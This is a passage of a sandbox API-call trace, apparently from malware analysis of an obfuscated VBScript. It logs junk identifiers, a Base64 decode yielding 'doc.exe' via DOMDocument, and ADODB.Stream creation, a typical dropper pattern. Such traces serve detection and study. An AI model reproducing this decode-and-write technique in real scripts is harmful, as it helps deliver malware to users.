(in: This=0x1197760, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.901] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.901] GetCurrentThreadId () returned 0xd44 [0068.901] IUnknown:Release (This=0x1197760) returned 0x6 [0068.901] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.901] malloc (_Size=0x804) returned 0x8790008 [0068.901] ??2@YAPAXI@Z () returned 0x8460768 [0068.901] ??3@YAXPAX@Z () returned 0x1 [0068.901] malloc (_Size=0x204) returned 0x8790818 [0068.901] malloc (_Size=0x40) returned 0x1197838 [0068.902] malloc (_Size=0x110) returned 0x8460768 [0068.902] ??2@YAPAXI@Z () returned 0x1129260 [0068.902] free (_Block=0x83d08e0) [0068.902] free (_Block=0x8790008) [0068.902] ??3@YAXPAX@Z () returned 0x740001 [0068.902] free (_Block=0x1197838) [0068.902] free (_Block=0x8790818) [0068.902] free (_Block=0x11c7d90) [0068.902] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.902] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.902] IUnknown:AddRef (This=0x1197760) returned 0x7 [0068.902] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0068.902] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0068.902] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14beb8 | out: ppvObject=0x14beb8*=0x5546e0) returned 0x0 [0068.903] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="Text", grfdex=0x8, pid=0x14bed4 | out: pid=0x14bed4*=24) returned 0x0 [0068.903] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0068.903] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0068.903] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bec0 | out: ppvObject=0x14bec0*=0x5546e0) returned 0x0 [0068.903] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=24, lcid=0x409, wFlags=0x4, pdp=0x14be8c*(rgvarg=([0]=0x14bdc8*(varType=0x8, wReserved1=0x14, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="ZG9jLmV4ZQ==", varVal2=0x14c3d0)), rgdispidNamedArgs=([0]=0x14be88*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14be68, pspCaller=0x846d1c8 | out: pdp=0x14be8c*(rgvarg=([0]=0x14bdc8*(varType=0x8, wReserved1=0x14, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="ZG9jLmV4ZQ==", varVal2=0x14c3d0)), rgdispidNamedArgs=([0]=0x14be88*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14be68*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0068.903] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0068.903] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0068.903] ??3@YAXPAX@Z () returned 0x7f0001 [0068.903] ??3@YAXPAX@Z () returned 0x200001 [0068.903] ??3@YAXPAX@Z () returned 0x740001 [0068.904] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c1a4 | out: ppvObject=0x14c1a4*=0x5546e0) returned 0x0 [0068.904] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="NodeTypedValue", grfdex=0x8, pid=0x14c1c0 | out: pid=0x14c1c0*=25) returned 0x0 [0068.904] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0068.904] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0068.904] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c1ac | out: ppvObject=0x14c1ac*=0x5546e0) returned 0x0 [0068.904] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=25, lcid=0x409, wFlags=0x3, pdp=0x14c178*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6738, pei=0x14c154, pspCaller=0x846d1c8 | out: pdp=0x14c178*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4db8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b929e0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), pei=0x14c154*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0068.904] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0068.904] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0068.904] IUnknown:AddRef (This=0x1197760) returned 0x7 [0068.905] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.905] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.905] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.905] GetCurrentThreadId () returned 0xd44 [0068.905] IUnknown:Release (This=0x1197760) returned 0x7 [0068.905] ??2@YAPAXI@Z () returned 0x838c578 [0068.905] ??2@YAPAXI@Z () returned 0x1105cd0 [0068.905] malloc (_Size=0x40) returned 0x1197838 [0068.905] malloc (_Size=0x104) returned 0x8460768 [0068.905] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0068.905] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6b1ca2c, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0068.906] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.906] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vgct783hth", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.906] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vgct783hth", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.906] GetCurrentThreadId () returned 0xd44 [0068.906] IUnknown:Release (This=0x1197760) returned 0x7 [0068.906] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.906] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="piiing", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.906] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="piiing", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.906] GetCurrentThreadId () returned 0xd44 [0068.906] IUnknown:Release (This=0x1197760) returned 0x7 [0068.907] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.907] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.907] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.907] GetCurrentThreadId () returned 0xd44 [0068.907] IUnknown:Release (This=0x1197760) returned 0x7 [0068.907] malloc (_Size=0x204) returned 0x1198748 [0068.907] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.909] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.909] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.909] GetCurrentThreadId () returned 0xd44 [0068.909] IUnknown:Release (This=0x1197760) returned 0x7 [0068.910] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.910] malloc (_Size=0x804) returned 0x8790008 [0068.910] ??2@YAPAXI@Z () returned 0x11c7d90 [0068.910] ??3@YAXPAX@Z () returned 0x1 [0068.910] malloc (_Size=0x204) returned 0x1198958 [0068.910] malloc (_Size=0x40) returned 0x1197880 [0068.910] malloc (_Size=0x120) returned 0x8790928 [0068.910] ??2@YAPAXI@Z () returned 0x1129260 [0068.910] free (_Block=0x83d08e0) [0068.910] free (_Block=0x8790008) [0068.910] ??3@YAXPAX@Z () returned 0x740001 [0068.910] free (_Block=0x1197880) [0068.910] free (_Block=0x1198958) [0068.910] free (_Block=0x8790818) [0068.910] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.910] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.911] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.911] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0068.911] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x14bbe4 | out: lpclsid=0x14bbe4*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0068.911] SysStringLen (param_1=0x0) returned 0x0 [0068.911] CoGetClassObject (in: rclsid=0x14bbe4*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14bbd4 | out: ppv=0x14bbd4*=0x962b2d0) returned 0x0 [0068.911] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14bbd0 | out: ppvObject=0x14bbd0*=0x0) returned 0x80004002 [0068.911] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bbd8 | out: ppvObject=0x14bbd8*=0x962b320) returned 0x0 [0068.911] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0068.911] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14bb9c | out: ppvObject=0x14bb9c*=0x962b350) returned 0x0 [0068.912] ??2@YAPAXI@Z () returned 0x1112920 [0068.912] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112920) returned 0x0 [0068.912] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bae4 | out: ppvObject=0x14bae4*=0x0) returned 0x80004002 [0068.912] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bad4 | out: ppvObject=0x14bad4*=0x0) returned 0x80004002 [0068.912] DOMDocument:IUnknown:AddRef (This=0x1112920) returned 0x2 [0068.912] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bb34 | out: ppvObject=0x14bb34*=0x0) returned 0x80004002 [0068.912] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bb30 | out: ppvObject=0x14bb30*=0x1112920) returned 0x0 [0068.912] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14bb58 | out: ppvObject=0x14bb58*=0x0) returned 0x80004002 [0068.912] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bb0c | out: ppvObject=0x14bb0c*=0x83fd480) returned 0x0 [0068.912] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bb08 | out: ppvObject=0x14bb08*=0x83fd490) returned 0x0 [0068.912] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14bb58 | out: ppvObject=0x14bb58*=0x0) returned 0x80004002 [0068.912] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.912] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.912] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x2 [0068.912] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bb38 | out: ppvObject=0x14bb38*=0x1112920) returned 0x0 [0068.912] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14bb2c | out: ppvObject=0x14bb2c*=0x0) returned 0x80004002 [0068.912] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bb04 | out: ppvObject=0x14bb04*=0x83fd480) returned 0x0 [0068.912] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bb00 | out: ppvObject=0x14bb00*=0x83fd490) returned 0x0 [0068.912] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14bb2c | out: ppvObject=0x14bb2c*=0x0) returned 0x80004002 [0068.912] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.913] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.913] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x2 [0068.913] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0068.913] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bb8c | out: ppvObject=0x14bb8c*=0x962b320) returned 0x0 [0068.913] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0068.913] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0068.913] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.913] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.913] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x0 [0068.913] ??3@YAXPAX@Z () returned 0x110001 [0068.913] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.913] ??3@YAXPAX@Z () returned 0x7f0001 [0068.913] ??3@YAXPAX@Z () returned 0x200001 [0068.914] ??3@YAXPAX@Z () returned 0x740001 [0068.914] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.914] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.914] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.914] GetCurrentThreadId () returned 0xd44 [0068.914] IUnknown:Release (This=0x1197760) returned 0x7 [0068.914] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.914] malloc (_Size=0x804) returned 0x8790008 [0068.915] ??2@YAPAXI@Z () returned 0x11c7d90 [0068.915] ??3@YAXPAX@Z () returned 0x1 [0068.915] malloc (_Size=0x204) returned 0x1198958 [0068.915] malloc (_Size=0x40) returned 0x1197880 [0068.915] malloc (_Size=0xd4) returned 0x11892f8 [0068.915] ??2@YAPAXI@Z () returned 0x1129260 [0068.915] free (_Block=0x83d08e0) [0068.915] free (_Block=0x8790008) [0068.915] ??3@YAXPAX@Z () returned 0x740001 [0068.915] free (_Block=0x1197880) [0068.915] free (_Block=0x1198958) [0068.915] free (_Block=0x8790818) [0068.915] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.915] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.915] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.916] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.916] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0068.916] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=4) returned 0x0 [0068.916] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.916] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0068.916] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0068.916] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.916] ??3@YAXPAX@Z () returned 0x7f0001 [0068.916] ??3@YAXPAX@Z () returned 0x200001 [0068.916] ??3@YAXPAX@Z () returned 0x740001 [0068.916] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.917] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="svksovosrgh", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.917] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="svksovosrgh", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.917] GetCurrentThreadId () returned 0xd44 [0068.917] IUnknown:Release (This=0x1197760) returned 0x7 [0068.917] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.917] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.917] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.917] GetCurrentThreadId () returned 0xd44 [0068.917] IUnknown:Release (This=0x1197760) returned 0x7 [0068.917] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.917] malloc (_Size=0x804) returned 0x8790008 [0068.917] ??2@YAPAXI@Z () returned 0x11c7d90 [0068.918] ??3@YAXPAX@Z () returned 0x1 [0068.918] malloc (_Size=0x204) returned 0x1198958 [0068.918] malloc (_Size=0x40) returned 0x1197880 [0068.918] malloc (_Size=0xcc) returned 0x8790928 [0068.918] ??2@YAPAXI@Z () returned 0x1129260 [0068.918] free (_Block=0x83d08e0) [0068.918] free (_Block=0x8790008) [0068.918] ??3@YAXPAX@Z () returned 0x740001 [0068.918] free (_Block=0x1197880) [0068.918] free (_Block=0x1198958) [0068.918] free (_Block=0x8790818) [0068.918] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.918] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.918] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.918] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.918] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0068.919] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, 